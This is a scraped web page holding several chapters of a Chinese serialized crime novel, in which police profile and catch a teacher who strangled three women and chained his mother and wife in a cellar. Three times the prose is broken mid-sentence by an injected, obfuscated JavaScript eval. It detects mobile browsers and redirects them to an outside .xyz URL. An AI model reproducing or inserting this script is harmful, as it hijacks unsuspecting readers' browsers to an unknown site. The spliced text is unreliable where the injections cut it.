钱清:“之前车间里有一个叫冯阳的追过她,不过她没答应,但两个人吃过几次饭,我当时还挺纳闷的。后来我们离开纺织厂,就没听她再提过冯阳了。” 另一边林寻一也走访了苗颖的邻居,跟钱清说的差不多,苗颖平时都是独来独往,走路也是低着头,像怕见人似的。他在苗颖的住处也找到了些东西,其中就有她做人流手术的小诊所开的收款单。那个诊所林寻一昨天下午去过,但是因为诊所关门,就没见到人。 钱清又说了一些苗颖的情况,姜越就把人送了出去,还告诉她如果想起其他的事或发现了什么,一定要随时过来。 赵无双和邓回查了冯阳,跟钱清说的一样,冯阳的确追求过苗颖,但是苗颖态度坚决的拒绝了。冯阳一开始还不死心,找苗颖吃过几次饭,可就是这几次饭让他觉得和苗颖确实不合适。他说每次吃饭苗颖都选特别贵的地方,点最贵的菜,吃完饭还要逛街看电影,一次要花不少钱。冯阳每个月工资就那些,他觉得就算真跟苗颖结婚了也养不起她,干脆就算了,之后也没联系过。 陈远洲:“纺织厂的其他人怎么说?” 邓回这几天感冒,一开口嗓子哑的跟鸭子似的,“他们都说苗颖很特,上班的时候不跟大家接触,休息了也不跟大家一起玩,在厂里存在感特别低,她要是不说话大家都发现不了有这个人。” 陈远洲了然,他说通过对苗颖的邻居和纺织厂众人的走访,可以印证钱清说的话是可信的。他翻看了谭立新说的前年和去年两起案子的案卷,结合苗颖的情况,初步断定三起案件是同一人所为,并汇报了周庆军提出并案调查。周庆军听了他的分析,觉得很有道理,立马同意。 林寻一在苗颖住处发现了一些现金,还有几件金首饰,名牌化妆品,柜子里还有很多标签都没剪的新衣服,全是当下流行款。 “这些可不像是一个没有工作的人能消费得起的,苗颖背后一定还有其他人。”林寻一笃定道。 陈远洲给出侦查建议。一是查抛尸现场的黑色雨衣,雨衣不是普通的材质和款式,要查一下是哪里卖的,都有谁买过。二是苗颖家的金首饰,其中有两款样式新颖,做工精致,不像随处都能买到的,要查一下购买记录。三是查苗颖做人流的小诊所。四是深挖苗颖的社会关系。 谭立新觉得陈远洲这个方向是对的,见他要去查苗颖的社会关系,立马说道:“我跟你一起去!” 陈远洲看了眼他的腿,笑道:“你确定嫂子让你出去?” “悄咪的,不告诉她。”谭立新警告道:“你也不准告诉你媳妇!” 正在家和徐秀竹聊天的薛艳忽然打了个喷嚏,她揉了揉鼻子,“哪个王八蛋骂我呢。” “一想二骂三念叨。”徐秀竹偷着笑,“打一个喷嚏是有人想你。” 薛艳笑着指了指徐秀竹:“你学坏了哦。” 徐秀竹今天来是跟薛艳打听,问她知不知道哪里的门店出租,她想租一个,把面点店开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506319|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 “你可真是个好样的。”薛艳由衷的赞叹,“敢想敢干的。” “我也是不想在家里待着,我从小在农村长大,每天睁开眼睛就干活,真让我闲下来我还有点害怕。”徐秀竹说的实在。 薛艳附和道:“可不能闲着,咱们女人也得支棱起来,尤其是像咱俩这种,爷们整天忙的不着家,那家里家外都靠咱们撑着呢!” 徐秀竹点点头,她这两天也算是见识到陈远洲早出晚归的工作性质了。 薛艳说她会帮徐秀竹留意着,也让她没事的时候多出去转转,她说虽然现在个体户越来越多了,但也有很多是跟风的,店是支起来了,可准备工作做得不够,没干多久就坚持不下去了,急着转让店铺。 徐秀竹下午出去转了转,到时间又去帮忙接吴桐放学,在学校门口的时候她还碰到了王冬玲。 王冬玲说李航昨晚吃了她做的排骨之后就不停地念叨,把这辈子学的赞美的话都说了个遍,觉得不够还写进了日记,名字叫《让人终生难忘的排骨——不是我妈做的》。 两个人又聊了一会儿,就看到李航跟吴桐一起出来了。两个小孩短短一天时间就成为了好朋友,准确来说是李航当方面认定吴桐为他的好朋友。 主要是吴桐见过他趴门缝要饭以及被他妈踹屁股的场景,李航觉得,如果把吴桐发展成自己人的话,那他就不会告诉别人自己出糗的样子。 陈远洲今天回来的更晚,到家的时候已经快十点了。徐秀竹刚刚洗了澡,一头乌黑闪亮的秀发自然地披落下来,在灯光下像黑锦缎一样。 她正拿着小算盘噼里啪啦的算账,见陈远洲过来仰头问道:“吃饭了吗?锅里还有饭。” “吃过了。”陈远洲宽厚的手掌拂过她的秀发,淡淡的桂花香气好像扫平了他一天的疲累。他低头亲了亲徐秀竹的头发,坐在了她身边。 徐秀竹拍了拍自己肩膀:“是不是很累?借你靠一会儿。” 陈远洲看了看徐秀竹的小肩膀,先是亲了一下,然后靠了上去。 徐秀竹现在已经有点习惯陈远洲时不时地亲昵举动了。她觉得两个人的日子过得像一条平稳的河流,虽然没什么波澜,但好在河流是在不停地向前流淌。 这就已经很好了。 徐秀竹想到梁喜枝前几天寄来的那封信。她在信里说,竹子,我离开家以后才发现,这世上除了家人没有谁是真心对你好的,他们总是要图点什么。人和人之间的关系,是不是只有互有所图才能长久的维系起来? 徐秀竹还没给梁喜枝回信,但眼下她知道要回些什么了。 人和人之间有所图也没关系,但要确定所图之事是为了取悦自己还是取悦他人。其实她更倾向于人和人之间是一种合作的关系,重要的是你要选择一个怎样的合作伙伴。 徐秀竹看了看身边的陈远洲。目前为止,她对于自己挑选的这个合作伙伴还是很满意的。 23. 第23章 第23章 赵无双大早上就惹了一肚子气,他从邓回手里抢了半根油条,边吃边骂苗颖的父母。 安县那边已经通知了苗颖的父母,并说明苗颖遇害的事,可她父母却说人反正已经死了,随便找个地方埋了就行,他们才不会折腾一趟过来。 “就他们这样的也好意思当人爹妈?”赵无双生长在一个幸福的家庭,他实在不能理解苗颖的父母为什么会这样。 “不是所有人都配为人父母。”路过的林寻一瞥了一眼赵无双,“你这样的大少爷当然理解不了。” “他抽什么风?”赵无双看着林寻一的背影怼了怼一旁的邓回。 邓回一直盯着自己被抢走的油条,哑着嗓子道:“我不知道。” 赵无双一脸嫌弃的看着邓回,“哥们你吃点药吧,你这说话动静都不像是人类能发出的声音。” 邓回比赵无双大一岁,也比他早来两年,在局里二人的关系最好。他幽怨的看着赵无双:“那你还抢我大果子。” “你这嗓子不适合吃油腻的东西。”赵无双说完把手里的油条全塞进了嘴里,然后很不讲究的在裤子上蹭了蹭手,这一幕正好被出来的林寻一看到。 林寻一也很纳闷,这世上真就存在从头到脚都让他无法适应的人,比如说赵无双。 刑侦队派出去的几组人也都有了进展。 方正通过黑色雨衣查到了卖家。这款雨衣的价格是普通雨衣的二倍,南阳区就一家在卖,目前为止只卖出去一件。买雨衣的是个年轻女人,老板对她印象很深刻,因为她一进门就要店里最好最贵的雨衣,连价都没还就要了。付钱的时候老板看见了她手上戴的金戒指,款式新颖,一看就不便宜,难怪会买这么贵的雨衣。 老板辨认了一下在苗颖家找到的戒指,一眼就认出是其中的一款。再结合他描述的体貌特征,可以确定就是苗颖。 陈远洲问他苗颖买雨衣的时候有没有说要给谁买,或者有没有描述那人的身高体重。 老板想了一下,连连点头,“说了说了,她说是给她对象买的,说她对象大概一米七六左右,一百二十多斤,可雨衣这东西哪有穿的那么合身的。” 林寻一找到了给苗颖做手术的诊所老板。他被叫到刑侦队里问话,起初他不知道发生了什么事,就以为自己无照营业的事被发现了,十分硬气道:“我开诊所这事也归你们公安管?” “少废话。”赵无双问他上个月有没有给一个二十五六岁的女人来做过手术,老板知道自己没有执照,于是一口否定没有。 林寻一直接把那张收款单扔到他脸上了,“重新说。” 诊所老板看着收款单,这才实话实说。根据他的描述,苗颖确实是一个人来做的手术,还因为价格原因跟他墨迹了很久,但是一般来他这里做手术的都是图个便宜,他也没当回事,但是最让他生气的是做完手术的第三天。 “我记得那天雨下的还挺大,有个男人穿了件黑色雨衣,进来之后二话不说就给了我一拳,质问我为啥要给他老婆做手术,我这小暴脾气当时就忍不了了,哐哐还给他两拳,那男的文质彬彬的一看就不会打架,直接被我干蒙圈了,嘴里嘟嘟囔囔的也不知道说的什么。” 诊所老板现在回想起来还挺生气,“你说他要是真心疼他媳妇,为啥不带她去大医院做手术?为啥不管好自己的老二别让媳妇怀孕?孩子死了他来奶了,还跟我厉害上了,也不打听打听我孙大虎是好惹的吗?” “你哪那么多废话!”赵无双问他还记不记得那男人长什么样。 孙大虎形容了一下,三十四五岁,一米七六左右的身高,一百二十多斤,戴个眼镜,有点驼背,看起来文质彬彬的。 “领导们,要是没我啥事的话,我就先走了?”孙大虎笑嘻嘻道。 陈远洲看了他一眼,“孙大虎是吧?你无照营业的事我们是管不着,但是有人能管。”说完就让赵无双联系卫生局。 孙大虎的脑回路也是异于常人,听陈远洲这么一说反而松了口气,他四仰八叉的坐在椅子上,说道:“早他妈不想干了这缺德生意了。”说完还对着陈远洲一抱拳:“感谢领导!” 买金戒指的人也找到了。商场找到了销售记录,签字的是一个叫吴茂福的男人。当天接待吴茂福的是一个叫二玲的售货员,根据二玲的回忆,跟吴茂福一起来的还有个年轻女人,不过二玲说两个人一看就不是夫妻,她说吴茂福最少得四十六七岁,地中海发型,大肚便便的,而那个女人虽然戴着帽子,头发也遮着脸,看不清长相,但肯定是个年轻人。 吴茂福的身份也查清了,人带回来后林寻一在询问室里问话,赵无双和陈远洲在外面观察。 “哥,这家伙看着不像好人啊!”赵无双给陈远洲指了指手里的资料,“滨城第二建筑公司的负责人,相当有钱了,离过三次婚,现在的媳妇比他小二十岁,外面还养了好几个情妇,如果说苗颖是情妇之一的话,那他会不会是凶手?” 陈远洲一直观察着询问室里的吴茂福:“杀人动机是什么?” “情妇太多,招架不过来?”赵无双挠了挠头,“或者是苗颖要的太多,他给不起了?” 陈远洲一言难尽的看了眼赵无双,然后指了指询问室里的林寻一:“你真得好好跟人家学学了,白长一个大脑袋。” 吴茂福很痛快的就承认苗颖是他的情妇之一,他给苗颖花了不少钱,但都是心甘情愿的。他说苗颖是个很贴心的姑娘,从不和其他男人纠缠不清。他很喜欢苗颖,每次办事的时候都戴套,绝对不让人家姑娘怀孕。他也不知道苗颖做过人流手术的事。 而且吴茂福没有作案时间,他这半个月一直在辽城出差,昨天刚回来,林寻一跟辽城那边确认过,他说的是实话。 至于吴茂福的老婆和其他几个情妇也都调查了,她们都知道吴茂福不止自己一个女人,但是吴茂福舍得花钱,所以她们也不在乎吴茂福到底有几个女人,也没有作案动机。 苗颖买雨衣要送的对象和去找孙大虎的是同一个人,加上这个黑色雨衣又出现在抛尸现场,大家一致认为这个雨衣男就是犯罪嫌疑人。下一步要做的就是排查嫌疑人,可目前只知道雨衣男的基本外貌特征,排查起来会很困难。 陈远洲:“所以就要更加细致的刻画犯罪嫌疑人的特性,除了他的外貌,还有心理。” 林寻一眉头微皱:“心理?” 陈远洲说算上前年和去年两起案件,现在一共是三名受害人,这三名受害人都有相同的特征,家不在本地,性格孤僻,没有稳定工作,不常与人来往等等。通过这些特征,可以看出犯罪嫌疑人选择她们是为了减少与外界的接触,怕别人发现他的存在。 林寻一脱口而出道:“他结婚了!” 陈远洲赞许的看了看他,继续道:“不止如此,通过他对受害人的折磨和死后虐待尸体的行为来看,他很厌恶女人,或者说很享受凌驾于她们之上的快感,他选择的目标都是自己能掌控的。” 林寻一点点头:“我明白了,他不止结过婚,而且婚姻生活不幸福,或者说他长期受到妻子的压迫,导致他的人格、尊严都受到了严重的伤害,所以他才会向外寻求刺激和安慰。” 赵无双脑子跟不上,他看着林寻一撇了撇嘴,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516744|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你明白的可真快。” 陈远洲补充道:“也可以延伸到他的原生家庭中,他对女性的厌恶也许不止源于他的妻子,可能他有一个强势的母亲,长期对他进行精神控制,导致他人前人后呈现出两种截然不同的性格。” 谭立新也有疑问,他说苗颖的情况跟前两名受害人还是有区别的,前两名受害者生前都遭受过侵害,苗颖却没有。而且根据孙大虎的描述,雨衣男对于苗颖做人流手术的反应很大,还称她是自己的“老婆”,这又该怎么解释?还有胡同发现的雨衣,凶手是刻意留下还是无心之失?毕竟之前都是雨夜抛尸,现场什么都发现。 陈远洲却说道:“有没有可能,苗颖的死根本不在他的计划之内?是什么事情刺激到了他,才让他改变了以往的作案方式,没有等到雨夜就进行抛尸。” 陈远洲和方正回到胡同勘察的时候,在墙根处发现了很多烟头,都是一个牌子,应该是凶手抛尸时留下的。可见他这次抛尸并没有之前干脆果断,甚至经历过一番心理斗争。 “是流产手术!”林寻一腾的站起来,“苗颖打掉的孩子就是凶手的!凶手原本没打算杀苗颖,但是苗颖背着他做了流产手术,他觉得苗颖脱离了他的掌控,背叛了他,所以他才要杀了苗颖!” 谭立新一脸骄傲的看着林寻一:“臭小子行啊!” 陈远洲做了最后总结,他说现在要找的是一名三十三岁到三十七岁的男性,一米七六左右的身高,一百二十多斤,戴眼镜,有点驼背,外表文质彬彬,有稳定且相对体面的工作,工作中会呈现出异于常人的友好和平和。外人面前不抽烟不喝酒,是个好丈夫,好儿子。可能从小生活在父亲缺位的单亲家庭,母亲强势干预他的一切,婚姻不幸福,长期受到妻子或者妻子全家的压迫,没有孩子。 陈远洲在地图上把三个抛尸地点连在了一起,正好是一个三角形,他让大家先排查三角形内的区域,确认犯罪嫌疑人的身份。 赵无双和林寻一被分到一组,出门的时候赵无双朝林寻一挑了挑眉,语气骄傲道:“咋样,现在服了吧?” 林寻一知道他说的是什么意思,“又不是你分析出来的,你骄傲个屁。” 赵无双唧唧歪歪的追了上去,“你这样就没意思了啊,咱们是一个集体,谁分析出来的不一样啊!” 陈远洲今天下班早,徐秀竹刚把吴桐接回来,他就回来了。 徐秀竹去做饭,就让陈远洲辅导吴桐写作业。可两个人大眼瞪小眼的看了半天,吴桐一个字都没写出来。 “我是不是影响到你了?”陈远洲这辈子还没用这么夹的声音说过话。 “嗯。”吴桐耿直的点了点头,“叔叔你挡着我亮了。” 被小朋友嫌弃的陈远洲去厨房寻求安慰,徐秀竹笑了半天,“那你就帮我做饭,我不嫌弃你。” 陈远洲问徐秀竹找店铺的事顺不顺利,他也让同事帮忙打听了。徐秀竹说今天去看了一家,位置倒是还可以,就是价格太贵,还必须一次付一年的租金,她这些日子赚的钱还是要精打细算才行。 见徐秀竹一开始就没打算用他给的钱,陈远洲的心里有点失落,结婚这些日子他这个小媳妇总是把账算的很清楚,倒像个合格的会计。 陈远洲:“只要你喜欢,价格不是问题,家里的钱你随便用。” 徐秀竹凑到他跟前,“你就不怕我把你的钱都赔光了?” “也是你的钱。” 徐秀竹换了个说法:“那你不怕我把咱俩的钱都赔光了?” “不怕。” “这么信任我?” “无条件信任。” 24. 第24章 第24章 刑侦队正在加紧排查嫌疑人,赵无双和林寻一在外面跑了一上午,饿急眼的两个人一回局里就直奔食堂。 今天有赵无双最爱的卤鸡腿,可是最后一个被林寻一抢去了,他眼巴巴的盯着林寻一的饭盒,像条可怜的小馋狗。 林寻一本来不太喜欢吃鸡腿,可赵无双喜欢,他就偏不让,还非要当着他的面大口吃的很香。 赵无双咽了咽口水,幽幽道:“鸡腿是不是很好吃?” “一般吧。”林寻一故意说道。 没吃到鸡腿的赵无双感觉失去了所有手段和力气,下午排查的时候都有点跟不上林寻一的脚步了。查了一整条街后他累得够呛,就蹲在路边歇气,正好看见迎面走来的徐秀竹。 “嫂子!”赵无双一秒恢复精神,朝徐秀竹跑了过去,笑嘻嘻的问道:“你咋在这呢?” “我出来转转。”徐秀竹见他一脑门汗,“你这是执行任务呢?” 赵无双点头,“排查呢。” 徐秀竹问道:“有什么需要我帮忙的吗?” 赵无双觉得适当的时候发动群众力量也是很有必要的,于是就简单的说了一下排查对象的体貌特征,说要是见到这样的人可以告诉他们。 徐秀竹默默记下,临走的时候和赶过来的林寻一打了个照面。 林寻一问赵无双:“谁啊?” “我嫂子。” “陈队的老婆?” 赵无双嗯了一声,“做饭老好吃了,尤其是汆白肉,那叫一个香。”他现在想起来还咽口水。 林寻一撇了撇嘴,他觉得赵无双简直就是个头脑简单,四肢发达的吃货。 徐秀竹回家的时候,在吴凯家门口看到一个陌生男人。 男人见到她后犹豫了一下,然后说道:“您好,我是来找吴凯老师的,他不在家,您可以帮我把这些东西给他吗?”说完把手里的水果和糕点递了过来。 “你是?”徐秀竹把东西接了过来。 “我是他同事,姓高。” 徐秀竹想起之前吴凯说的,他们年级有个姓高的数学老师请假了,吴凯在帮他代课。 “你放心吧,我会把东西给吴老师的。”徐秀竹笑了笑。 “那实在太感谢您了。”高老师说完还客气的给徐秀竹鞠了一躬,弄得徐秀竹有点不知所措。 徐秀竹看着高老师下楼的背影,总觉得哪里不对劲,但也没往心里去。 晚上郑悦欣和吴凯一起来接梧桐,郑悦欣说她母亲已经没事了,父亲也从外地赶了回来,她就先回来歇一晚。 徐秀竹把高老师带来的东西给了他们。回家的时候吴凯跟郑悦欣说道:“这老高也真是客气,替他代几天课还至于这样。” 郑悦欣见吴凯身上穿的还是她走之前那件衣服,就知道他这两天肯定忙的连衣服都没来得及换,有些心疼道:“高强也不知道什么时候能回来上课。” 吴凯也不清楚,“教务处没说,先替他代着吧,老高人挺好的,同事这么多年都没见他跟谁红过脸,之前其他同事需要代课,他也是二话不说就顶了上去,这次兴许是家里有急事,能帮就帮帮吧。” 晚上徐秀竹正躺在床上,忽然眼睛一睁直挺挺的坐了起来。 “怎么了?”陈远洲一进来就看到她坐在床上眼睛瞪得溜圆。 “我今天在街上碰到了无双,他跟我说他正在排查,还跟我说了一下排查对象的特征,可我今天回家碰到一个人,现在想想他跟无双说的特别像!” 陈远洲让她说具体点,徐秀竹就把高老师来给吴凯送东西的事说了一下,陈远洲听完直接去了吴凯家,跟他打听高老师的具体情况。 吴凯虽然有些纳闷,但还是把知道的都告诉了陈远洲。陈远洲还在吴凯家看到一张有高强的教师合照,并借用了那张照片。 陈远洲问完先回了家,他跟徐秀竹说今晚不一定能回来了,让她把门锁好。 “你注意安全。”徐秀竹把人送到门口。 “回去睡吧。”陈远洲抱了抱她。 诊所老板孙大虎根据吴凯提供的照片,确定高强就是那天找他的男人。目前刑侦队已经掌握了高强的信息,和之前分析的差不多。 高强今年三十五岁,是师大附中初三年级的数学老师,老家是滨城周边旺县的。他是家里的长子,有一个小他三岁的弟弟,父亲在他七岁的时候过世,母亲没有改嫁,独自一人抚养两兄弟。高中毕业后去农村当了几年知青,后来弟弟意外身亡,他就回城照顾母亲,是恢复高考后的第一批大学生。大学第一年就和现在的老婆领了结婚证,至今没有孩子。 林寻一:“高强的老婆叫曹梅,是水务局的办公室主任,今年四十岁。她是家里的独生女,父亲退休前是滨城第一电机厂的副厂长,母亲是银行会计,家里经济条件很好,可以说跟小县城出来的高强完全是两个世界的人。曹梅之前有过一段短暂的婚姻,因为前夫有外遇所以离婚,后来遇到了小她五岁的高强。高强人很体贴,对曹梅可以说百依百顺,曹梅很满意,就出钱供他念完了大学,毕业后曹家托关系在附中给他安排了工作。” 陈远洲听出点门道:问道:“高强是上门女婿?” 林寻一点点头:“没错,高强和曹梅结婚后就把户口迁到了曹家,听曹家的老邻居说,结婚前曹家就和高强签了协议,以后生了孩子必须姓高。” 赵无双不理解:“上门女婿也不至于出去杀人吧?” 林寻一:“听邻居反应,曹家人其实都很看不起高强,尤其是曹梅,经常不分场合的骂他,甚至还会动手。学校的同事说高强夏天也是长袖长裤,有时候他自己忘了会挽起袖子,总能看到他胳膊上的伤。” 谭立新问道:“那高强是什么反应?” 林寻一撇了撇嘴:“没反应,脾气好到像个没有情绪的假人一样。” 邓回和姜越也从旺县赶了回来。据旺县的邻居描述,高强的父亲是个酒鬼,常常喝多了就打人,高强七岁那年夏天他父亲喝醉酒掉进河里淹死了,她母亲孙芳就带着两个孩子生活。 孙芳是个强势又偏执的女人,从小对两个孩子就近乎苛责的严厉,大冬天的两个孩子经常穿着单衣单裤跪在外面。高强下乡之后离开了家,孙芳就把注意力都集中在了弟弟身上,后来弟弟过世,孙芳的精神状态就更差,高强也回了家。 姜越:“在我们发现苗颖尸体那天,邻居说见到高强回来过,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529704|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要把孙芳接到城里养老,当天就走了。我还打听到,高强下乡的时候谈过一段恋爱,女生就是当地村子里的,高强当年兴高采烈的把人领了回来,可孙芳死活不同意,要死要活逼着二人分开。高强为了让孙芳同意,就说女方已经怀孕了,可孙芳非但没有妥协,反而四处宣扬女方是破鞋,狐狸精,不检点,还一度闹到了女方家的村子里,女方最后受不了流言蜚语,喝了农药,没抢救过来。从那以后高强就像变了个人一样,对孙芳百依百顺,对周围的人也是客气到让人起鸡皮疙瘩的程度。” 陈远洲:“曹梅现在在哪?” 林寻一:“已经去曹梅家里看了,没有人。她单位的同事说她17号那天早上到单位请了长假。” 赵无双:“17号?那不就是发现苗颖尸体那天吗?” 陈远洲听完汇总情况说道:“从目前掌握的情况来看,高强的确有可能因为家庭和婚姻关系导致性格扭曲,从而做出极端犯罪事件,现在要做的就是尽快找到高强,找到他也就找到了孙芳和曹梅。” 谭立新心里一惊:“你是说高强控制了孙芳和曹梅?” 陈远洲目光深沉:“我怀疑高强下一个要杀的就是这二人,我们必须要赶在高强动手之前抓到他。” 赵无双有点犯愁:“可是高强能藏在哪呢?” “一定有什么地方对高强来说意义是不一样的。”陈远洲看着地图思索了片刻,然后点了点上面的万山村:“他之前在这里当过知青,还谈了一段刻骨铭心的恋爱,他那个女朋友应该也葬在这里吧?” 林寻一第一个反应过来:“我立马联系当地派出所!” 陈远洲决定带几个人去一趟,滨城的排查工作就交给了谭立新。 从滨城开车到万山村要三个多小时,赵无双一路上把油门踩到底,两个多小时就赶到了。 车一停邓回就冲下去狂吐,边吐边骂赵无双开飞车。 赵无双嬉皮笑脸嘲笑道:“你这身子也太虚了。” “我感冒还没好利索!”邓回声音嘎嘎的充满喜感。 万山村归阳镇管辖,阳镇派出所的同志以人口普查为由提前进村探了一下情况。 张所长说道:“跟高强处对象的姑娘叫郭燕,当年郭燕出事之后郭家人没多久就搬走了,他们家的房子也一直空着,可前几天晚上有老乡看见郭家房子里有亮光,只是那亮光很微弱,很快就没了,他就以为是自己喝多了眼睛花了。” 陈远洲带人围了郭家,郭家大门紧锁着,林寻一和赵无双从围墙跳了进去。 见屋门也锁着,赵无双从口袋里掏出钥匙链,把上面挂着的小铁环掰直成了一根细铁丝,插进了锁眼里,左右转了几下后,锁就开了。 林寻一见状压低声音说道:“你还有这本事?” 赵无双一脸得意:“我本事大着呢!” 二人把屋里搜索了一遍,只发现一些水和食物,并没有人。临走的时候林寻一觉得不对劲,他退回到厨房里,踹了踹菜窖的木头盖子,然后和赵无双对视了一眼,打开盖子。 “卧槽!”赵无双被菜窖里的场景惊出一声国粹。 与此同时,乔装回来的高强也被守在外面的人抓了个正着。 25. 第25章 第25章 孙芳和曹梅都被高强用铁链拴在了郭燕家的菜窖里,两个人都穿着单薄的衣裳,每人手里一把一乍多长小刀。 高强逼着她们互相伤害,但不能把对方弄死,否则另一个也活不成。 二人虽然身上伤口很多,但都不致命,而且高强还为二人处理过身上的伤。 孙芳和曹梅先被送到了镇上的医院,赵无双一想到二人浑身是血的场景就起鸡皮疙瘩,“高强变态啊?一个是他妈,一个是他媳妇,他让两个人互相残杀还不能弄死对方,我现在一想到他在旁边看着自己老娘和媳妇互捅的场景我就后背发凉。” 在回滨城的路上,高强始终看着窗外一言不发。本以为会是块难啃的硬骨头,可进了审讯室高强明显松了口气。 高强看向陈远洲:“警察同志,我想问一下,我妈和我老婆没事吧?” 陈远洲坐在他对面:“没什么大事,已经转到滨城医院了。” 高强听完笑了一下,然后起身朝着陈远洲深深鞠了一躬,语气十分诚恳的说道:“实在不好意思,给你们添麻烦了。” “不想给我们添麻烦就老实交代吧。”陈远洲让林寻一准备好记录。 “好的,您放心,我一定如实交代。”高强坦诚的并不像一个被抓进来的杀人犯。 赵无双已经看呆了,这唱的是哪出啊?他心想大哥,你可是杀人犯啊!你嚣张点啊! 高强想了一下,然后举手示意道:“请问我先从哪里说起?” 赵无双瞪着眼睛,感觉自己见到鬼了。 陈远洲提醒道:“前年的刘婷,去年的张娟。” “哦,你说她们俩啊,都是我杀的。”高强停顿了一下,像是在回忆细节。 他说这二人都是他用皮带勒死的,勒死之后扒了衣服,趁着半夜下雨,一个扔在了锅炉厂,一个扔在了废品站。 陈远洲:“你和她们是什么关系?” 高强笑了一下,“就是成年人之间你情我愿的肉/体关系。” 陈远洲:“为什么选择她们?” 高强冷静的像是在讲述别人的故事:“因为她们听话,又很少和人联系,你也知道的,我有家有老婆,老婆脾气大,要是被她发现我可就惨了。” 陈远洲:“那为什么要杀了她们?” 高强叹了口气,有些无奈道:“她们后来都不听话了,一个吵着让我离婚娶她,否则就要去找我老婆,一个闹着非要跟我断了关系。我实在是烦了,就杀了她们。男人嘛,怎么可能永远让女人牵着鼻子走,男人就是天,是女人的一切。” 赵无双实在听不下去了,他看了看陈远洲,又看了看林寻一,见二人都没什么反应,硬是掐了一把大腿才忍住想揍人的冲动。 “那苗颖呢?”陈远洲又问,“你应该很喜欢她吧?为什么还要杀了她?” 高强听到“苗颖”二字后眼睛有些红,他仰面看了看棚顶,随即恢复正常:“我本来没想杀她,我是真的很喜欢她,她......她和燕儿长得很像,尤其是那双眼睛,水灵灵的,像会说话一样。” 陈远洲:“因为她背着你做了流产手术,让你感觉到她也脱离了你的掌控,所以你要杀了她。” 高强说他知道苗颖怀孕之后是真的想跟曹梅离婚,娶苗颖。他说曹梅不能生育,他特别想有个自己的孩子。一开始苗颖也答应了,说会等他离婚,可他就出去学了几天习,回来之后苗颖就已经把孩子打掉了。 不仅如此,苗颖还要和高强分手,甚至说出了“老死不相往来”的狠话。高强不死心,跟踪了苗颖几天,这才发现她竟然背着自己跟别的男人来往。 高强找到苗颖,质问她是不是因为吴茂福的原因才打掉他的孩子,苗颖不甘其扰,直接亮出手上的金戒指,她说吴茂福对她很好,舍得给她花钱,她以后要一心一意的对吴茂福,让高强有多远就滚多远。 于是高强就动了杀心,他抛尸后半夜回了家,曹梅被他吵醒,先是骂了他一顿,然后又说知道了他和苗颖的事,还说自己早就找过苗颖,威胁苗颖离开高强,否则就把她搞破鞋的事闹得人尽皆知。高强这才明白苗颖是因为曹梅的原因才打掉孩子,要跟他分手。 高强像从前一样下跪道歉认错,然后哄骗曹梅要带她出去旅游,两个人今后好好过日子,曹梅第二天回单位请了假,结果被高强胁迫到了万山村,拴在了郭家的菜窖里,很快孙芳也被带了过来。 陈远洲问了高强在滨城的其他住处,赵无双带人在那里搜出了不少女人的衣物,而凶器则是高强身上的皮带。皮带款式老旧,一看就有年头了,重点是皮带扣上歪歪扭扭的刻着一个“燕”字。 这条皮带是当年郭燕送给他的生日礼物。高强说在万山村那几年是他人生中最快乐的日子,自由自在,无拘无束。当年他和弟弟必须有一个人下乡,他知道弟弟也想下乡,也想逃离那个窒息的家,逃离孙芳的掌控的,为了表示公平,高强提议抽签,可他却在签上做了手脚,最后如愿以偿的下了乡。 家里少了一个人,孙芳就把注意力都转移到他弟弟身上,其实他弟弟并不是意外身亡的,高强在家里找到了他弟弟的遗书,他是跳河自杀的,死在了淹死他父亲的那条河里。 高强在叙述杀人经过的时候一直很平静,唯独在提到弟弟的时候情绪有些激动,他说如果当年抽签的时候他没有作弊,那下乡的就是他弟弟,那样的话他弟弟就不会死,郭燕也不会死。 “可这一切又都怪谁?都怪我有个酗酒残暴的爹!他逼疯了我妈,自己倒是一死了之了,可我妈这么多年加注在我身上的痛苦谁能知道!如果不是她,郭燕不会死,我也不会被她逼着当了曹家的上门女婿受尽白眼!这一些都怪我妈!”高强的情绪在这一刻终于爆发,他卸下彬彬有礼的伪装,彻底化成恶魔。 审讯室里沉默了一会儿,陈远洲看着高强:“你其实并没有打算杀了孙芳和曹梅,你只是在用这种方式让她们赎罪。” “赎罪?”高强笑容惨淡,“她们的罪就算捅一千刀一万刀也赎不清!” “那你的罪呢?”陈远洲目光犀利,“刘婷,张娟,苗颖,她们又做错了什么?你以为只有你是不幸的?你错了,她们遇见你,才是真正的不幸。” 离开审讯室之前,陈远洲回头看了眼高强,他说这世上有很多人比你更不幸,可他们依旧选择善良,去强大自己,以此来对抗命运的不公。 跟在后面的林寻一听到后内心一颤,用力攥紧了手里的笔。 